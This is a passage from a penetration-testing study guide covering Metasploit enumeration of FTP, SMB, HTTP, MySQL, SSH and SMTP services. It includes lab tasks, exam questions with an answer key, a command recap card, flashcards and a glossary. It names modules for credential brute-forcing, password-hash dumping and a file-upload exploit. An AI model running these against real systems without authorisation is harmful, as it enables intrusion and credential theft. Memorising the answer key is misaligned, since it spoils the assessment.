19. Scenario: MySQL login. Task: find valid MySQL credentials. Commands: `use auxiliary/scanner/mysql/mysql_login`, `run`. Expected output: a `Success:` line. Answer: the `user:pass` pair.
20. Scenario: MySQL databases. Task: list every database on the server. Commands: `use auxiliary/admin/mysql/mysql_sql`, `set SQL show databases;`, `run`. Expected output: a list of database names. Answer: the full list.
21. Scenario: MySQL hashes. Task: dump password hashes for offline cracking. Commands: `use auxiliary/scanner/mysql/mysql_hashdump`, `run`. Expected output: "Saving HashString as Loot" lines. Answer: a chosen hash value.
22. Scenario: MySQL writable paths. Task: find a server directory the MySQL account can write to. Commands: `use auxiliary/scanner/mysql/mysql_writable_dirs`, set `DIR_LIST`, `run`. Expected output: "is writeable" lines. Answer: the writable path.
23. Scenario: SSH version. Task: identify the SSH server version. Commands: `use auxiliary/scanner/ssh/ssh_version`, `set RHOSTS 10.10.40.11`, `run`. Expected output: an `SSH-2.0-...` banner. Answer: the exact version string.
24. Scenario: SSH usernames. Task: enumerate valid SSH usernames. Commands: `use auxiliary/scanner/ssh/ssh_enumusers`, set `USER_FILE`, `run`. Expected output: "User '' found" lines. Answer: the username list.
25. Scenario: SMTP users. Task: confirm whether `admin` is a valid mail user. Commands: `nc 10.10.40.12 25`, then type `VRFY admin@domain.xyz`. Expected output: a `25x` reply code. Answer: yes/no based on the reply code.

Exam-style questions

1. (Multiple choice) Which flag tells Nmap to skip host discovery and scan anyway? A) `-sn` B) `-Pn` C) `-sV` D) `-O`
2. (Fill-in) The Metasploit command that creates and switches to a new workspace in one step is `workspace ___ <name>`.
3. (Find the value) A port scan auxiliary module's default `PORTS` range stops at which number?

4. (Multiple choice) Which protocol's default port is 445 (with 139 as its legacy NetBIOS port)? A) FTP B) SMB C) SMTP D) SSH
5. (Fill-in) The `smbclient` flag that forces a connection with no credentials (a null session) is `__`.
6. (Find the value) In the FTP worked example, what was the exact 32-character value found inside `secret.txt`?
7. (Multiple choice) Which auxiliary module enumerates real OS usernames through Apache's per-user web directories? A) `dir_scanner` B) `files_dir` C) `apache_userdir_enum` D) `http_login`
8. (Fill-in) The MySQL CLI flag used to specify a remote host (required to avoid a local socket error) is `__`.
9. (Find the value) What SMTP reply code was returned after `VRFY admin@openmailbox.xyz` in the notes?
10. (Multiple choice) Which SMTP command lists the server's full set of supported extended capabilities? A) `HELO` B) `VRFY` C) `EXPN` D) `EHLO`

Answer key and explanations

1. B. `-Pn` means "no ping", treat the host as up and scan regardless of ICMP response.
2. `-a`. `workspace -a <name>` adds and switches to a new workspace.
3. `10000`. The default `PORTS` option for TCP portscan modules is `1-10000`; wider ranges must be set manually.
4. B. SMB (Server Message Block) uses TCP 445 today, with legacy NetBIOS access over TCP 139.
5. `-N`. It suppresses the password prompt and sends no credentials.
6. `260ca9dd8a4577fc00b7bd5810298076`. Shown directly in the `cat secret.txt` output in 3.5.
7. C. `apache_userdir_enum` requests `/~<username>/` for each candidate name to test if the OS account exists.
8. `-h`. Without it, `mysql` tries to connect to a local Unix socket instead of the given remote host.
9. `252`. Meaning "cannot verify, but will attempt delivery" in this server's configuration.
10. D. `EHLO` (Extended HELO) returns the full capability list; plain `HELO` returns a single basic greeting line.

7. Recap Card and Flashcards

Recap Card

```
nmap -Pn <ip>                          (3.2)
nmap -Pn -sV -O <ip> -oX <file>        (3.2)
service postgresql start               (3.3)
msfconsole                             (3.3)
db_status                              (3.3)
workspace -a <name>                    (3.3)
db_import <file>                       (3.3)
hosts / services / vulns / loot / creds  (3.3)
db_nmap <nmap flags> <ip>              (3.3)
use auxiliary/scanner/portscan/tcp     (3.4)
use exploit/unix/webapp/xoda_file_upload  (3.4)
meterpreter > shell ; ifconfig         (3.4)
use auxiliary/scanner/ftp/ftp_version  (3.5)
use auxiliary/scanner/ftp/ftp_login    (3.5)
ftp <ip> ; get <file>                  (3.5)
use auxiliary/scanner/smb/smb_enumusers  (3.6)
use auxiliary/scanner/smb/smb_enumshares  (3.6)
use auxiliary/scanner/smb/smb_login    (3.6)
smbclient -L \\\\<ip>\\ -U <user>      (3.6)
smbclient \\\\<ip>\\<share> -U <user>  (3.6)
nmblookup -A <host>                    (3.6)
smbclient -L <host> -N                 (3.6)
rpcclient -U "" -N <host>              (3.6)
use auxiliary/scanner/http/http_header  (3.7)
use auxiliary/scanner/http/dir_scanner  (3.7)
use auxiliary/scanner/http/files_dir    (3.7)
use auxiliary/scanner/http/apache_userdir_enum (3.7)
use auxiliary/scanner/http/http_login   (3.7)
use auxiliary/scanner/http/http_put     (3.7)
use auxiliary/scanner/mysql/mysql_version  (3.8)
use auxiliary/scanner/mysql/mysql_login  (3.8)
use auxiliary/admin/mysql/mysql_enum    (3.8)
use auxiliary/admin/mysql/mysql_sql     (3.8)
use auxiliary/scanner/mysql/mysql_schemadump (3.8)
use auxiliary/scanner/mysql/mysql_hashdump (3.8)
use auxiliary/scanner/mysql/mysql_writable_dirs (3.8)
mysql -h <ip> -u <user> -p             (3.8)
use auxiliary/scanner/ssh/ssh_version  (3.9)
sessions ; sessions <id>               (3.9)
use auxiliary/scanner/ssh/ssh_enumusers  (3.9)
search type:auxiliary name:smtp        (3.10)
use auxiliary/scanner/smtp/smtp_enum   (3.10)
nc <host> 25 ; VRFY <user>@<domain>    (3.10)
telnet <host> 25 ; HELO/EHLO <domain>  (3.10)
```

Flashcards

Q: What comes right after host discovery and port scanning in the pentest flow? | A: Enumeration.

Q: What does `-Pn` tell Nmap to do? | A: Skip host discovery (no ping), treat the host as up and scan it anyway.

Q: What flag saves an Nmap scan in a format Metasploit can import? | A: `-oX <file>` (XML output).

Q: What command checks if `msfconsole` is connected to its database? | A: `db_status`.

Q: What command creates and switches to a new Metasploit workspace? | A: `workspace -a <name>`.

Q: What command runs Nmap from inside Metasploit and auto-stores results? | A: `db_nmap`.

Q: Name the five Metasploit database tables covered in this module. | A: hosts, services, vulns, loot, creds.

Q: Are auxiliary modules exploits? | A: No, they scan, enumerate, and brute-force; they do not give code execution by themselves.

Q: What networking fact lets a compromised host become a pivot point? | A: It has a second network interface on a different subnet.

Q: What default port does FTP use? | A: TCP 21.

Q: What is the default anonymous FTP password convention used by `ftp_version`? | A: An email-style string (e.g. `mozilla@example.com`).

Q: What module brute-forces FTP logins? | A: `auxiliary/scanner/ftp/ftp_login`.

Q: What default port does SMB use today, and what was its legacy port? | A: TCP 445 today; TCP 139 (NetBIOS) legacy.

Q: What is SAMBA? | A: The Linux/Unix implementation of the SMB protocol.

Q: What flag makes `smbclient` attempt a null (anonymous) session? | A: `-N`.

Q: What tool finds a server's NetBIOS computer name? | A: `nmblookup -A <host>`.

Q: What does `rpcclient -U "" -N <host>` test for? | A: Whether an anonymous (null session) RPC connection is allowed.

Q: What module lists local SMB users via the SAM RPC service? | A: `auxiliary/scanner/smb/smb_enumusers`.

Q: What option makes `smb_enumshares` also list files inside each share? | A: `ShowFiles` set to `true`.

Q: What default port does HTTP use? | A: TCP 80.

Q: What module grabs HTTP response headers? | A: `auxiliary/scanner/http/http_header`.

Q: What Apache feature does `apache_userdir_enum` abuse? | A: `mod_userdir`, per-user web directories at `/~<username>/`.

Q: What happens if `http_put` targets a file name that already exists? | A: It overwrites the existing file without warning.

Q: What default port does MySQL use? | A: TCP 3306.

Q: What module runs arbitrary SQL through Metasploit? | A: `auxiliary/admin/mysql/mysql_sql`.

Q: What module dumps every database and table name from MySQL in one step? | A: `auxiliary/scanner/mysql/mysql_schemadump`.

Q: What module dumps MySQL password hashes? | A: `auxiliary/scanner/mysql/mysql_hashdump`.

Q: Why does `mysql <ip> -u root -p` (without `-h`) fail for a remote server? | A: It tries to connect to a local Unix socket instead of the remote host.

Q: What default port does SSH use? | A: TCP 22.

Q: What command interacts with an already-open Metasploit session? | A: `sessions <id>`.

Q: What module enumerates valid SSH usernames without logging in? | A: `auxiliary/scanner/ssh/ssh_enumusers`.

Q: What default port does SMTP use? | A: TCP 25.

Q: What SMTP command confirms whether a single mailbox exists? | A: `VRFY`.

Q: What SMTP command expands a mailing list into real member addresses? | A: `EXPN`.

Q: What SMTP greeting command lists every extended capability the server supports? | A: `EHLO`.

Q: What character on its own line ends a raw SMTP `data` message? | A: A single dot (`.`).

Q: What CVE reference is tied to SMTP's `VRFY` / `EXPN` user enumeration weakness? | A: CVE-1999-0531.

Q: What value in `smb_enumusers` output tells you the account lockout policy will never lock an account? | A: `LockoutTries=0`.

Q: What two auxiliary options together let you try every user against every password, instead of fixed pairs? | A: `USER_FILE` and `PASS_FILE` (as opposed to `USERPASS_FILE`).

8. Glossary

Anonymous login: logging into a service like FTP or SMB without a real account, often using "anonymous" as the username.

Auxiliary module: a Metasploit module used for scanning, enumeration, brute-forcing, or fuzzing; not an exploit.

Banner: the text a service sends when a client connects, often revealing the product name and version.

Brute-force attack: trying many username/password combinations until one works.

CVE: Common Vulnerabilities and Exposures, a public reference number for a known vulnerability.

Database import: loading a saved scan file (e.g. Nmap XML) into Metasploit's database with `db_import`.

EHLO: the Extended SMTP greeting command; returns the server's full list of supported capabilities.

EXPN: an SMTP command that expands a mailing list alias into its real member email addresses.

Foothold: the first level of access gained on a target, usually a limited shell or session.

FTP: File Transfer Protocol, used to move files between a client and server, default TCP port 21.

HTTP: Hypertext Transfer Protocol, used by web servers, default TCP port 80.

IPC$: a default Windows/Samba share used for inter-process communication, not for file storage.

Loot: data (files, dumps, hashes) saved by a Metasploit module into the database/filesystem for later use.

Meterpreter: Metasploit's advanced, in-memory post-exploitation agent.

`mod_userdir`: an Apache module that serves a per-user web directory at `/~<username>/`, usable to enumerate OS accounts.

MySQL: an open-source relational database system, default TCP port 3306.

Null session: a connection made with no username or password at all.

Pivoting: using a compromised host's additional network access to reach a subnet otherwise unreachable.

Port scanning: probing a range of ports to see which are open.

ProFTPD: a popular open-source FTP server for Unix-like systems.

RPC: Remote Procedure Call, a protocol allowing a program to run code on another computer; used by SMB-related services on Windows.

SAM: Security Account Manager, the Windows database of local user accounts, queried by `smb_enumusers`.

SAMBA: the Linux/Unix implementation of the SMB protocol.

Share: a folder or resource shared over SMB or similar protocols.

SMB: Server Message Block, the Windows/Samba file and printer sharing protocol, default TCP port 445 (legacy 139).

SMTP: Simple Mail Transfer Protocol, used to send email, default TCP port 25.

SQL: Structured Query Language, used to query and manage relational databases such as MySQL.

SSH: Secure Shell, an encrypted remote administration protocol, default TCP port 22.

Workspace (Metasploit): a named, isolated set of hosts/services/creds inside the Metasploit database, used to separate engagements.

VRFY: an SMTP command that asks the server to confirm whether a single mailbox/user exists.

XODA: a small PHP document management web application with a known file upload vulnerability used as an exploitation example in this module.

9. Coverage Report

Source page(s)	Guide section(s)
1	1 (prerequisites folded into skill checklist)
2, 3	3.1
4, 5	3.2
5, 6, 7, 8, 9	3.3
9, 10, 11, 12, 13, 14	3.4
14, 15, 16	3.5
17, 18, 19, 20, 21, 22, 23	3.6
23, 24, 25, 26, 27, 28	3.7
29, 30, 31, 32, 33, 34, 35, 36	3.8
37, 38	3.9
39, 40, 41, 42, 43	3.10

[UNCLEAR] items:

- Page 43: the one-line `sendmail` CLI example was partly covered by an overlay box in the source screenshot; flags are reproduced as a best-effort reading and flagged for verification in section 3.10.

Items to double check in your own lab:

- The exact hash algorithm label Metasploit shows for MySQL password hashes (`mysql,mysql-sha1` in these notes); confirm against your installed Metasploit version (verify).
- The CVE number for the XODA file upload vulnerability (CVE-2012-4547, verify).
- The exact SMTP reply-code semantics for `VRFY` on your target lab's mail server, since Postfix configurations vary (verify).
- Whether `ssh_enumusers`' malformed-packet technique still works on the specific OpenSSH version in your lab, since this class of flaw has been patched in some releases (verify).

Coverage confirmation: every inventory line recorded in the working inventory (43 pages, 73 screenshots) is represented in sections 3.1 through 3.10 above, in the same order as the source material. No page, command, option table, or terminal output block was omitted.